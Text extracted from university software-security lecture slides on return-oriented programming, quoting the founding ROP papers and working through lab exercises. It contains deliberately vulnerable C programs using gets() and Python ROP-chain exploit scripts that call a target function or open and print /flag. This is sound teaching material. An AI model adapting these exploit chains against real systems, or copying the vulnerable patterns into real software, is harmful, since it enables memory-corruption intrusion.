

CSE 410/510 Special Topics: Software Security

Instructor: Dr. Ziming Zhao

Last Class

1. Format string vulnerability

This Class

1. Return-oriented programming (ROP)

Code Injection Attacks

Code-injection Attacks

- a subclass of control hijacking attacks that subverts the intended control-flow of a program to previously injected malicious code

Shellcode

- code supplied by attacker – often saved in buffer being overflowed – traditionally transferred control to a shell (user command-line interpreter)
- machine code – specific to processor and OS – traditionally needed good assembly language skills to create – more recently have automated sites/tools

Code-Reuse Attack

Code-Reuse Attack: a subclass of control-flow attacks that subverts the intended control-flow of a program to invoke an unintended execution path inside the original program code.

Return-to-Libc Attacks (Ret2Libc)

Return-Oriented Programming (ROP)

Jump-Oriented Programming (JOP)

Call-Oriented Programming (COP)

Sigreturn-oriented Programming

History of ROP

- This technique was first introduced in 2005 to work around 64-bit architectures that require parameters to be passed using registers (the “borrowed chunks” technique, by Krahmer)
- In CCS 2007, the most general ROP technique was proposed in “The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)”, by Hovav Shacham

The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)

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September 5, 2007


Abstract

We present new techniques that allow a return-into-libc attack to be mounted on x86 executables that calls *no functions at all*. Our attack combines a large number of short instruction sequences to build *gadgets* that allow arbitrary computation. We show how to discover such instruction sequences by means of static analysis. We make use, in an essential way, of the properties of the x86 instruction set.

1 Introduction

We present new techniques that allow a return-into-libc attack to be mounted on x86 executables that is every bit as powerful as code injection. We thus demonstrate that the widely deployed “W \oplus X” defense, which rules out code injection but allows return-into-libc attacks, is much less useful than previously thought.

“In any sufficiently large body of x86 executable code there will exist sufficiently many useful code sequences that an attacker **who controls the stack** will be able, by means of the return-into-libc techniques we introduce, to cause the exploited program to **undertake arbitrary computation.**”



2017

The test-of-time award winners for CCS 2017 are as follows:

- **Hovav Shacham:**

The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86). Pages 552-561, In Proceedings of the 14th ACM conference on Computer and Communications Security, CCS 2007, Alexandria, Virginia, USA. ACM 2007, ISBN: 978-1-59593-703-2

Return-Oriented Programming: Systems, Languages, and Applications

RYAN ROEMER, ERIK BUCHANAN, HOVAV SHACHAM, and STEFAN SAVAGE,
University of California, San Diego

We introduce *return-oriented programming*, a technique by which an attacker can induce arbitrary behavior in a program whose control flow he has diverted, without injecting any code. A return-oriented program chains together short instruction sequences already present in a program’s address space, each of which ends in a “return” instruction.

Return-oriented programming defeats the W@X protections recently deployed by Microsoft, Intel, and AMD; in this context, it can be seen as a generalization of traditional return-into-libc attacks. But the threat is more general. Return-oriented programming is readily exploitable on multiple architectures and systems. It also bypasses an entire category of security measures—those that seek to prevent malicious computation by preventing the execution of malicious code.

To demonstrate the wide applicability of return-oriented programming, we construct a Turing-complete set of building blocks called gadgets using the standard C libraries of two very different architectures: Linux/x86 and Solaris/SPARC. To demonstrate the power of return-oriented programming, we present a high-level, general-purpose language for describing return-oriented exploits and a compiler that translates it to gadgets.

Categories and Subject Descriptors: D.4.6 [**Operating Systems**]: Security and Protection

General Terms: Security, Algorithms

Additional Key Words and Phrases: Return-oriented programming, return-into-libc, W-xor-X, NX, x86, SPARC, RISC, attacks, memory safety, control flow integrity

ACM Reference Format:


Roemer, R., Buchanan, E., Shacham, H., and Savage, S. 2012. Return-oriented programming: Systems, languages, and applications. *ACM Trans. Inf. Syst. Secur.* 15, 1, Article 2 (March 2012), 34 pages.
DOI = 10.1145/2133375.2133377 <http://doi.acm.org/10.1145/2133375.2133377>

1. INTRODUCTION

The conundrum of malicious code is one that has long vexed the security community. Since we cannot accurately predict whether a particular execution will be benign or not, most work over the past two decades has focused instead on preventing the introduction and execution of new malicious code. Roughly speaking, most of this

(32 bit) Return to multiple functions?

Finding: We can return to a chain of unlimited number of functions



ROP

Chain chunks of code (gadgets; not functions; no function prologue and epilogue) in the memory together to accomplish the intended objective.

The gadgets are not stored in contiguous memory, but ***they all end with a RET instruction or JMP instruction.***

The way to chain them together is similar to chaining functions with no arguments. So, the attacker needs to control the stack, but does not need the stack to be executable.

RET?

x86 Instruction Set Reference

RET

Return from Procedure

Opcode	Mnemonic	Description
C3	RET	Near return to calling procedure.
CB	RET	Far return to calling procedure.
C2 iw	RET imm16	Near return to calling procedure and pop imm16 bytes from stack.
CA iw	RET imm16	Far return to calling procedure and pop imm16 bytes from stack.

Description

Transfers program control to a return address located on the top of the stack. The address is usually placed on the stack by a CALL instruction, and the return is made to the instruction that follows the CALL instruction.

The optional source operand specifies the number of stack bytes to be released after the return address is popped; the default is none. This operand can be used to release parameters from the stack that were passed to the called procedure and are no longer needed. It must be used when the CALL instruction used to switch to a new procedure uses a call gate with a non-zero word count to access the new procedure. Here, the source operand for the RET instruction must specify the same number of bytes as is specified in the word count field of the call gate.

The RET instruction can be used to execute three different types of returns:

Are there really many ROP Gadgets?

X86 ISA is dense and variable length

ROPGadget

Installed on the server

```
python3 ./ROPGadget/ROPGadget.py --binary /lib/x86_64-linux-gnu/libc.so.6  
--offset BASEADREE
```

Also use ldd to find library offset

ROP

- Automated tools to find gadgets
 - ROPgadget
 - Ropper
- Automated tools to build ROP chain
 - ROPgadget
- Pwntools

How to find ROP gadgets automatically?

Byte sequence

40
31
C0
B8
AB
C3
0F
FF

Disassembly
from the start

inc eax
xor eax, eax
mov eax, 0xff0fc3ab

Disassembly
from the 5rd
byte

...
stos es:[edi], eax
ret
...

ROP-assisted ret2libc on x64

overflowret3

```
int printsecret(int i, int j)
{
    if (i == 0x12345678 && j == 0xdeadbeef)
        print_flag();
    else
        printf("I pity the fool!\n");

    exit(0);}

int vulfoo()
{
    char buf[6];

    gets(buf);
    return 0;}

int main(int argc, char *argv[])
{
    printf("The addr of printsecret is %p\n", printsecret);
    vulfoo();
    printf("I pity the fool!\n");
}
```

32 bit

Return to function with many arguments?

```
int printsecret(int i, int j)
{
  if (i == 0x12345678 && j == 0xdeadbeef)
    print_flag();
  else
    printf("I pity the fool!\n");


  exit(0);}

int vulfoo()
{
  char buf[6];

  gets(buf);
  return 0;}

int main(int argc, char *argv[])
{
  printf("The addr of printsecret is %p\n",
  printsecret);
  vulfoo();
  printf("I pity the fool!\n");
}
```

ebp, esp



amd64 Linux Calling Convention

Caller


- Use registers to pass arguments to callee. Register order (1st, 2nd, 3rd, 4th, 5th, 6th, etc.) rdi, rsi, rdx, rcx, r8, r9, ... (use stack for more arguments)

overflowret3 64-bit

Set RDI, RSI accordingly;
Set RIP to printsecret

```
000000000401310 <vulfoo>:
401310: f3 0f 1e fa      endbr64
401314: 55              push rbp
401315: 48 89 e5        mov rbp,rsq
401318: 48 83 ec 10     sub rsp,0x10
40131c: 48 8d 45 fa     lea rax,[rbp-0x6]
401320: 48 89 c7        mov rdi,rax
401323: b8 00 00 00 00 mov eax,0x0
401328: e8 b3 fd ff ff  call 4010e0 <gets@plt>
40132d: b8 00 00 00 00 mov eax,0x0
401332: c9             leave
401333: c3             ret

0000000004012c7 <printsecret>:
4012c7: f3 0f 1e fa      endbr64
4012cb: 55              push rbp
4012cc: 48 89 e5        mov rbp,rsq
4012cf: 48 83 ec 10     sub rsp,0x10
4012d3: 48 89 7d f8     mov QWORD PTR [rbp-0x8],rdi
4012d7: 48 89 75 f0     mov QWORD PTR [rbp-0x10],rsi
4012db: 48 81 7d f8 78 56 34 cmp QWORD PTR [rbp-0x8],0x12345678
4012e2: 12
4012e3: 75 17          jne 4012fc <printsecret+0x35>
4012e5: b8 ef be ad de  mov eax,0xdeadbeef
4012ea: 48 39 45 f0     cmp QWORD PTR [rbp-0x10],rax
4012ee: 75 0c          jne 4012fc <printsecret+0x35>
4012f0: b8 00 00 00 00 mov eax,0x0
4012f5: e8 fc fe ff ff  call 4011f6 <print_flag>
4012fa: eb 0a          jmp 401306 <printsecret+0x3f>
4012fc: bf 45 20 40 00 mov edi,0x402045
401301: e8 9a fd ff ff  call 4010a0 <puts@plt>
401306: bf 00 00 00 00 mov edi,0x0
40130b: e8 f0 fd ff ff  call 401100 <exit@plt>
```





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401310: f3 0f 1e fa      endbr64  
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```

rsp →



rip -> ret


overflowret3 64-bit

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40130b: e8 f0 fd ff ff call 401100 <exit@plt>
```

rsp →



rip = Address of "pop rdi"

```

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
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401306:  bf 00 00 00 00 mov edi,0x0
40130b:  e8 f0 fd ff ff  call 401100 <exit@plt>

```

overflowret3 64-bit

Set RDI, RSI accordingly;
Set RIP to printsecret





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401332: c9             leave
401333: c3             ret
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401306: bf 00 00 00 00 mov edi,0x0
40130b: e8 f0 fd ff ff  call 401100 <exit@plt>
```



rip = Address of "pop rsi"
rdi = 0x12345678

```

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```


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```

overflowret3 64-bit

Set RDI, RSI accordingly;
Set RIP to printsecret



```

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401323: b8 00 00 00 00 mov eax,0x0
401328: e8 b3 fd ff ff  call 4010e0 <gets@plt>
40132d: b8 00 00 00 00 mov eax,0x0
401332: c9             leave
401333: c3             ret

```


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```

overflowret3 64-bit

Set RDI, RSI accordingly;
Set RIP to printsecret



Template

```
#!/usr/bin/env python2
# python template to generate ROP exploit

from struct import pack

p = ""
p += "A" * 14
p += pack('<Q', 0x00007ffff7dccb72) # pop rdi ; ret
p += pack('<Q', 0x0000000012345678) #
p += pack('<Q', 0x00007ffff7dcf04f) # pop rsi ; ret
p += pack('<Q', 0x00000000deadbeef) #
p += pack('<Q', 0x000000000040127a) # Address of printsecret

print p
```

CSE 410/510 Special Topics: Software Security

Instructor: Dr. Ziming Zhao

Last Class

1. Return-oriented programming (ROP)
 - a. History
 - b. Basic ideas

The Geometry of Innocent Flesh on the Bone:
Return-into-libc without Function Calls (on the x86)

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Abstract

We present new techniques that allow a return-into-libc attack to be mounted on x86 executables that calls *no functions at all*. Our attack combines a large number of short instruction sequences to build *gadgets* that allow arbitrary computation. We show how to discover such instruction sequences by means of static analysis. We make use, in an essential way, of the properties of the x86 instruction set.

1 Introduction

We present new techniques that allow a return-into-libc attack to be mounted on x86 executables that is every bit as powerful as code injection. We thus demonstrate that the widely deployed “W \oplus X” defense, which rules out code injection but allows return-into-libc attacks, is much less useful than previously thought.



Useful Gadgets

Skip data on stack:

```
pop rdx ; pop r12 ; ret
```

```
pop rdx ; pop rcx ; pop rbx ; ret
```


Useful Gadgets

Store value to registers and skip data on stack:

```
pop rdx ; pop r12 ; ret
```

```
pop rdx ; pop rcx ; pop rbx ; ret
```

```
pop rcx ; pop rbp ; pop r12 ; pop r13 ; ret
```

NOP:

```
ret;
```

```
nop; ret;
```

Useful Gadgets

Stack pivot:

```
xchg rax, rsp; ret
```

```
pop rsp; ...; ret
```

Useful Gadgets

syscall instruction is quite rare in normal programs; may have to call library functions instead.

ROPGadgets

Use the tool to automatically generate a ROP chain shellcode.

```
python3 ../ROPGadget/ROPGadget.py --binary ./ret2libc64 --ropchain
```

A ROP chain to open a file and prints it out


Build a ROP chain, which opens the /flag file and prints it out to stdout. The target program is **overflowret4_no_excstack_64**, which is dynamically linked. You can look for gadgets in the executable or the C standard library.

Recall how to read a file and print it out ...

The 32-bit shellcode


```
mov $5, %eax ; open syscall
push $4276545 ; set up other registers
mov %esp, %ebx
mov $0, %ecx
mov $0, %edx
int $0x80
mov %eax, %ecx ; set up other registers
mov $1, %ebx
mov $187, %eax ; sendfile syscall
mov $0, %edx
mov $20, %esi
int $0x80
```

If we follow the syscall approach, the stack looks like ...



Let us call libc functions instead


sendfile(1, open("/flag", NULL), 0, 1000)



Caller

- Use registers to pass arguments to callee. Register order (1st, 2nd, 3rd, 4th, 5th, 6th, etc.) `rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9`, ... (use stack for more arguments)

The stack should look like ...



commands

Ldd to find library offset

```
python3 ../ROPgadget/ROPgadget.py --binary /lib/x86_64-linux-gnu/libc.so.6  
--offset 0x00007ffff7daa000 | grep "pop rax ; ret"
```

overflowret4_no_excstack_64 32-bit/64-bit

No stack canary; stack is not executable

```
int vulfoo()
{
    char buf[30];

    gets(buf);
    return 0;
}

int main(int argc, char *argv[])
{
    vulfoo();
    printf("I pity the fool!\n");
}
```



```
#!/usr/bin/env python2
```

```
from struct import pack
```

```
# sendfile64  
# open64  
# .date  
p = ""
```

```
p += "A"*56  
p += pack('<Q', 0x00007fff7de6b72) # pop rdi ; ret  
p += pack('<Q', 0x000000000404030) # @ .date  
p += pack('<Q', 0x00007fff7e0a550) # pop rax ; ret  
p += '/flag'  
p += pack('<Q', 0x00007fff7e6b85b) # mov qword ptr [rdi], rax ; ret  
p += pack('<Q', 0x00007fff7de7529) # pop rsi ; ret  
p += pack('<Q', 0x0000000000000000) # 0  
p += pack('<Q', 0x00007fff7ed0e50) # open64  
p += pack('<Q', 0x00007fff7f221e2) # mov rsi, rax ; shr ecx, 3 ; rep  
movsq qword ptr [rdi], qword ptr [rsi] ; ret  
p += pack('<Q', 0x00007fff7de6b72) # pop rdi ; ret  
p += pack('<Q', 0x00000000000000001) # 1  
p += pack('<Q', 0x00007fff7edc371) # pop rdx ; pop r12 ; ret  
p += pack('<Q', 0x00000000000000000) # 0  
p += pack('<Q', 0x00000000000000001) # 1  
p += pack('<Q', 0x00007fff7e5f822) # pop rcx ; ret  
p += pack('<Q', 0x00000000000000050) # 80  
p += pack('<Q', 0x00007fff7ed6100) # sendfile64  
p += pack('<Q', 0x00007fff7e0a550) # pop rax ; ret  
p += pack('<Q', 0x0000000000000003c) # 60  
p += pack('<Q', 0x00007fff7de584d) # syscall  
print p
```

```
sendfile(1, open("./secret", NULL), 0, 1000)
```





```

# sendfile64 0x7ffff7ed6100
# open64 0x7ffff7ed0e50
# .date 0x000000000404030
p = ""

p += "A"*56
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x000000000404030) # @ .data
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += '/flag'
p += pack('<Q', 0x00007ffff7e6b85b) # mov qword ptr [rdi], rax ; ret
p += pack('<Q', 0x00007ffff7de7529) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x00007ffff7ed0e50) # open64
p += pack('<Q', 0x00007ffff7f221e2) # mov rsi, rax ; shr ecx, 3 ; rep
movsq qword ptr [rdi], qword ptr [rsi] ; ret
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7edc371) # pop rdx ; pop r12 ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7e5f822) # pop rcx ; ret
p += pack('<Q', 0x0000000000000050) # 80
p += pack('<Q', 0x00007ffff7ed6100) # sendfile64
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x000000000000003c) # 60
p += pack('<Q', 0x00007ffff7de584d) # syscall
print p

```

sendfile(1, open("./secret", NULL), 0, 1000)



```

# sendfile64 0x7ffff7ed6100
# open64 0x7ffff7ed0e50
# .date 0x000000000404030
p = ""

p += "A"*56
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x000000000404030) # @ .data
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += '/flag'
p += pack('<Q', 0x00007ffff7e6b85b) # mov qword ptr [rdi], rax ; ret
p += pack('<Q', 0x00007ffff7de7529) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x00007ffff7ed0e50) # open64
p += pack('<Q', 0x00007ffff7e5f822) # pop rcx; ret
p += pack('<Q', 0x0000000000000000) # 80
p += pack('<Q', 0x00007ffff7f221e2) # mov rsi, rax ; shr ecx, 3 ; rep
movsq qword ptr [rdi], qword ptr [rsi] ; ret
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7edc371) # pop rdx ; pop r12 ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7e5f822) # pop rcx; ret
p += pack('<Q', 0x0000000000000050) # 80
p += pack('<Q', 0x00007ffff7ed6100) # sendfile64
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x000000000000003c) # 60
p += pack('<Q', 0x00007ffff7de584d) # syscall
print p

```

sendfile(1, open("./secret", NULL), 0, 1000)

